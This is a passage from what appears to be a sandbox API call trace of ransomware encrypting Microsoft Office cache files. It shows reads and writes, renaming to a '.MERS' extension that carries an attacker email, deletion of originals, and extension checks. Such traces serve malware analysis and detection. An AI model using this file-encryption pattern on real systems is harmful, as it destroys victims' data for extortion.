hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.609] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0044.623] SetEndOfFile (hFile=0x1f0) returned 1 [0044.625] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0044.629] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.629] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.631] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.631] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.715] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.715] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.718] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0044.718] CloseHandle (hObject=0x1f0) returned 1 [0044.718] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0044.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.718] lstrlenW (lpString=".doc") returned 4 [0044.718] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.718] lstrlenW (lpString=".docx") returned 5 [0044.718] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.718] lstrlenW (lpString=".pdf") returned 4 [0044.718] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.718] lstrlenW (lpString=".xls") returned 4 [0044.719] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.719] lstrlenW (lpString=".xlsx") returned 5 [0044.719] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.719] lstrlenW (lpString=".ppt") returned 4 [0044.719] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.719] lstrlenW (lpString=".zip") returned 4 [0044.719] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.719] lstrlenW (lpString=".rar") returned 4 [0044.719] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.719] lstrlenW (lpString=".bz2") returned 4 [0044.719] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.719] lstrlenW (lpString=".7z") returned 3 [0044.719] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.719] lstrlenW (lpString=".dbf") returned 4 [0044.719] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.719] lstrlenW (lpString=".1cd") returned 4 [0044.719] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.719] lstrlenW (lpString=".jpg") returned 4 [0044.719] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.719] lstrlenW (lpString=".doc") returned 4 [0044.719] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.719] lstrlenW (lpString=".docx") returned 5 [0044.719] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.719] lstrlenW (lpString=".pdf") returned 4 [0044.719] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.719] lstrlenW (lpString=".xls") returned 4 [0044.719] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.719] lstrlenW (lpString=".xlsx") returned 5 [0044.720] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.720] lstrlenW (lpString=".ppt") returned 4 [0044.720] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.720] lstrlenW (lpString=".zip") returned 4 [0044.720] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.720] lstrlenW (lpString=".rar") returned 4 [0044.720] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.720] lstrlenW (lpString=".bz2") returned 4 [0044.720] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.720] lstrlenW (lpString=".7z") returned 3 [0044.720] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.720] lstrlenW (lpString=".dbf") returned 4 [0044.720] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.720] lstrlenW (lpString=".1cd") returned 4 [0044.720] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.720] lstrlenW (lpString=".jpg") returned 4 [0044.720] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.720] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0044.720] lstrlenW (lpString="msvcr90.dll") returned 11 [0044.720] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0045.231] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=655872) returned 1 [0045.231] CloseHandle (hObject=0x1d4) returned 1 [0045.231] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0045.231] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0045.232] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.232] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0045.232] GetLastError () returned 0x0 [0045.232] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0xa0200, lpOverlapped=0x0) returned 1 [0045.389] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0045.399] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0045.399] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.399] SetEndOfFile (hFile=0x1f0) returned 1 [0045.400] CloseHandle (hObject=0x1f0) returned 1 [0045.400] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.400] SetEndOfFile (hFile=0x1d4) returned 1 [0045.405] CloseHandle (hObject=0x1d4) returned 1 [0045.405] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0045.405] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0045.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.405] lstrlenW (lpString=".doc") returned 4 [0045.405] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.405] lstrlenW (lpString=".docx") returned 5 [0045.405] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0045.405] lstrlenW (lpString=".pdf") returned 4 [0045.405] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.405] lstrlenW (lpString=".xls") returned 4 [0045.405] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.405] lstrlenW (lpString=".xlsx") returned 5 [0045.405] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0045.406] lstrlenW (lpString=".ppt") returned 4 [0045.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.406] lstrlenW (lpString=".zip") returned 4 [0045.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.406] lstrlenW (lpString=".rar") returned 4 [0045.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.406] lstrlenW (lpString=".bz2") returned 4 [0045.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.406] lstrlenW (lpString=".7z") returned 3 [0045.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.406] lstrlenW (lpString=".dbf") returned 4 [0045.406] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.406] lstrlenW (lpString=".1cd") returned 4 [0045.406] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.406] lstrlenW (lpString=".jpg") returned 4 [0045.406] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.406] lstrlenW (lpString=".doc") returned 4 [0045.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.406] lstrlenW (lpString=".docx") returned 5 [0045.406] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0045.406] lstrlenW (lpString=".pdf") returned 4 [0045.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.406] lstrlenW (lpString=".xls") returned 4 [0045.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.406] lstrlenW (lpString=".xlsx") returned 5 [0045.406] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0045.406] lstrlenW (lpString=".ppt") returned 4 [0045.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.407] lstrlenW (lpString=".zip") returned 4 [0045.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.407] lstrlenW (lpString=".rar") returned 4 [0045.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.407] lstrlenW (lpString=".bz2") returned 4 [0045.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.407] lstrlenW (lpString=".7z") returned 3 [0045.407] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.407] lstrlenW (lpString=".dbf") returned 4 [0045.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.407] lstrlenW (lpString=".1cd") returned 4 [0045.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0045.407] lstrlenW (lpString=".jpg") returned 4 [0045.407] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.407] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0045.407] lstrlenW (lpString="AccessMUI.msi") returned 13 [0045.407] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0045.426] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2517504) returned 1 [0045.427] CloseHandle (hObject=0x1f0) returned 1 [0045.427] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0045.427] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.427] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0045.428] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0045.428] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0045.428] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.428] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.674] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.674] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.759] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.759] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.759] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.464] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.464] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0046.480] SetEndOfFile (hFile=0x1f0) returned 1 [0046.480] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0046.480] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.480] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.482] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.482] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.603] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.603] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.618] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0046.618] CloseHandle (hObject=0x1f0) returned 1 [0046.618] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0046.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.619] lstrlenW (lpString=".doc") returned 4 [0046.619] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.619] lstrlenW (lpString=".docx") returned 5 [0046.619] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.619] lstrlenW (lpString=".pdf") returned 4 [0046.619] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.619] lstrlenW (lpString=".xls") returned 4 [0046.619] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.619] lstrlenW (lpString=".xlsx") returned 5 [0046.619] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.619] lstrlenW (lpString=".ppt") returned 4 [0046.619] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.619] lstrlenW (lpString=".zip") returned 4 [0046.619] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.619] lstrlenW (lpString=".rar") returned 4 [0046.619] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.619] lstrlenW (lpString=".bz2") returned 4 [0046.619] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.619] lstrlenW (lpString=".7z") returned 3 [0046.619] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.619] lstrlenW (lpString=".dbf") returned 4 [0046.619] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.619] lstrlenW (lpString=".1cd") returned 4 [0046.619] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.620] lstrlenW (lpString=".jpg") returned 4 [0046.620] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.620] lstrlenW (lpString=".doc") returned 4 [0046.620] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.620] lstrlenW (lpString=".docx") returned 5 [0046.620] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.620] lstrlenW (lpString=".pdf") returned 4 [0046.620] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.620] lstrlenW (lpString=".xls") returned 4 [0046.620] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.620] lstrlenW (lpString=".xlsx") returned 5 [0046.620] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.620] lstrlenW (lpString=".ppt") returned 4 [0046.620] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0046.620] lstrlenW (lpString=".zip") returned 4 [0046.620] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.620] lstrlenW (lpString=".rar") returned 4 [0046.620] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.620] lstrlenW (lpString=".bz2") returned 4 [0046.620] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.620] lstrlenW (lpString=".7z") returned 3 [0046.620] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 